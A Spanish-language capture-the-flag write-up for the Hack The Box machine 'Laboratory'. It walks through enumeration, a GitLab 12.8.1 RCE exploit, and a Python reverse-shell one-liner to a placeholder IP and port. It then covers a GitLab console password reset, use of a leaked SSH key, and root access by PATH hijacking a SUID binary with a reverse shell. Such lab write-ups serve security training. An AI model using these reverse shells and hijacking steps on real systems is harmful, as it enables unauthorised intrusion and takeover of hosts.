Laboratory
https://www.hackthebox.eu/home/machines/profile/298
Máquina Linux con un servidor apache instalado, contiene un gitlab instalado sobre docker, el cual es vulnerable, se aprovecha cierta vulnerabilidad para realizar ejecución de código remoto para ganar acceso al sistema.
Enumeración
Lo primero es realizar un escaneo con nmap para saber los puertos abiertos y revisar las versiones de los servicios.
# nmap -sCV --open 10.10.10.216
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-22 19:33 CST
Nmap scan report for git.laboratory.htb (10.10.10.216)
Host is up (0.100s latency).
Not shown: 997 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
| 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://git.laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 57 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-server-header:
| Apache/2.4.41 (Ubuntu)
|_ nginx
|_http-title: Did not follow redirect to http://git.laboratory.htb/users/sign_in
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
| tls-alpn:
|_ http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.45 seconds
Añadimos al archivo /etc/hosts los vhosts encontrados, durante el escaneo de nmap.
# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 parrot
10.10.10.216 git.laboratory.htb laboratory.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allroutersLuego, busqué algún directorio interesante usando gobuster,
gobuster dir -k -u https://laboratory.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: https://laboratory.htb
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/02/22 19:55:44 Starting gobuster
===============================================================
/images (Status: 301)
/assets (Status: 301)
/server-status (Status: 403)
===============================================================
2021/02/22 20:03:20 Finished
==============================================================
Intente buscar dentro de los directorios encontrados con gobuster, pero no encontré nada útil.
Punto de acceso
Después, entre al dominio de git encontrado en el escaneo de nmap. Una vez ahí intente registrarme con un usuario y me dio acceso. Una vez ahí dentro, utilice la herramienta burpsuite, para interceptar los paquetes enviados a la página. No encontré mucho pero note algo especial sobre una cookie utilizada en los paquetes GET enviados desde la página. Por último, revise la versión del gitlab en la página de /help. En este caso la versión del gitlab es la 12.8.1.
POST /users/sign_in HTTP/1.1
Host: git.laboratory.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://git.laboratory.htb/users/sign_in
Content-Type: application/x-www-form-urlencoded
Content-Length: 218
Origin: https://git.laboratory.htb
DNT: 1
Connection: close
Cookie: experimentation_subject_id=IjQwZGQxNGI4LTEyYTMtNGZmNS04NjhlLWVhZTBlODE3NWVhZiI%3D--856cc6da068b32dc522eac7682b2b34e23041ab0; sidebar_collapsed=false; _gitlab_session=600c8d9524e98c4d52331a9992f3314a
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
utf8=%E2%9C%93&authenticity_token=Jpvj1j70EiwYsglXObgrA8Q7ezdEigARmsuS7CrSE3swgIiM5pqPlfGAMqVEfGvd%2BAbFTp4I14ukFUcENzwCXw%3D%3D&user%5Blogin%5D=taco%40laboratory.htb&user%5Bpassword%5D=taco1234&user%5Bremember_me%5D=0Después, busque exploits utilizables para la versión 12.8.1 de gitlab. Lo que llegue a encontrar fue un exploit utilizando la cookie que encontramos utilizando el burpsuite.
Ejecute el comando "python gitlab_rce.py https://git.laboratory.htb:443/ 10.10.14.24", pero no funcionó. Checando más de fondo el código y el error que devuelve, razone que el código necesitaba loggearse a la página para poder obtener la versión del gitlab para poder funcionar. Entre a editar el código con nano y edité los parámetros para usuario y contraseña.
class GitlabRCE:
description = "oopsie woopsie we made a fucky wucky a wittle fucko boingo!"
def init(self, gitlab_url, local_ip):
self.url = gitlab_url
self.local_ip = local_ip
self.port = 42069
# change this if the gitlab has restricted email domains
self.email_domain = "laboratory.htb"
self.session = requests.session()
self.username = "taco"
self.password = "taco1234"
self.projects = []El exploit pide escoger un para la versión de gitlab indicada y pidió abrir ponernos en escucha en el puerto dinicado. La shell no es interactiva y por lo tanto no se puede visualizar resultados, intentamos abrir una pseudo consola con python3 -c “import pty;pyt.spawn(‘/bin/bash’)” pero no fue posible, ni con ruby: exec “/bin/sh”, entre otras formas.
La siguiente instruccion en python permite realizar una reverse shell en desde una sola línea con python, previamente debemos de ponernos en escucha para aceptar la conexión.
“ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("TUIP",PUERTO));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' ” 
Una vez dentro de la máquina, podemos notar que entramos como el usuario git. Trate de buscar dentro de directorios y los archivos accesibles para ver cuál podría servir para realizar una escalada de privilegios. Probé buscar tareas programadas, utilizar el comando "grep" con palabras clave como 'password' y 'email'. También probé enviar un ejecutable llamado LinPEAS, el cual enumera todos los posibles vectores de ataque dentro del sistema. También tratamos de enviar a la máquina una llave generada de ssh propia para poder entrar a través de ssh a la máquina. Logre enviar el archivo con la llave privada, más sin embargo no me permitió acceder a la máquina con ssh. No encontré mucho, pero encontré varios archivos relacionados a gitlab-rails. También, cuando empecé a investigar en la página web principal, se mencionaba a un tal “Dexter” como CEO de la empresa ficticia. Buscando en internet logré encontrar el siguiente enlace:
El enlace nos describe cómo podemos iniciar una consola de gitlab-rails para interactuar con gitlab de la siguiente manera:
gitlab-rails console
user = User.where(id: 1).first
user.password = 'secret_pass'
user.password_confirmation = 'secret_pass'
user.save!
Una vez ejecutados estos comandos, lo que logré hacer fue cambiar la contraseña del usuario externo de la aplicación web de gitlab. Paso seguido, nos dirigimos a la página de gitlab a ingresar con ese usuario,
Dentro del proyecto Secure Docker se encuentra una llave privada del usuario dexter, la cual nos proporciona acceso al servidor.
Para ganar acceso es simple.
Copiamos la llave y guardamos un archivo llamado id_rsa.
Otorgamos permisos 600 al archivo id_rsa.
E indicamos la llama para iniciar con el parámetro -i.
Con esto realizado, tenemos acceso a la máquina a través del usuario dexter. Sin embargo, este usuario no tiene permisos root. Lo único que podemos visualizar es la carpeta de home, con un .txt dentro el cual contenía el flag de user.
Escalada de privilegios
Lo siguiente que hice fue probar maneras de realizar una escalada de privilegios. Intente con el ya mencionado LinPEAS para checar vectores de ataque. No encontré algo útil. Después recordé que dentro del gitlab del usuario dexter, contenía un .txt el cual mencionaba algo sobre un docker-composer. Paso seguido utilice el comando “find” para buscar cualquier archivo que contenga la palabra docker. No encontre algo util. De ahí, pasé a buscar archivos propietarios de root, pero que el usuario dexter tiene permisos de lectura usando el comando “find / -perm -u=s -type f 2>/dev/null” y encontré un archivo llamado docker-security con el path /usr/local/bin/docker-security.
Visualice el archivo con el comando “cat” y note que utiliza el comando de chmod de manera relativa. Es posible modificar el PATH para que el binario sea ejecutado desde otra ruta.
Con esto tenemos indicios para realizar un path hijacking.
Podemos ver que el binario docker-security tiene permisos SUID, este es un permiso especial que permite que el programa, cuando es ejecutado por cualquier usuario, se ejecute con el UID del propietario, en este caso, root.
Entonces, me dirigí al directorio de tmp/ y dentro cree un archivo llamado “chmod” simulando el comando dentro del binario “docker-security”, y dentro de este archivo agregue una reverse shell con nano. Luego con “chmod +x” le otorgue permiso de ejecución al archivo. Una vez hecho esto, ubicado en el directorio donde cree el archivo, el cual es /tmp/, ejecute el comando “export PATH=$(pwd):$PATH”, el cual modifica el PATH asignando al directorio el cual estoy situado como prioridad 1 dentro de la variable PATH.
Finalmente, abro una terminal para ejecutar un “nc -vlnp [puerto]”, utilizando el puerto designado dentro de la reverse shell que colocamos dentro del archivo “chmod”.
Visualizando la flag de root.
Last updated
Was this helpful?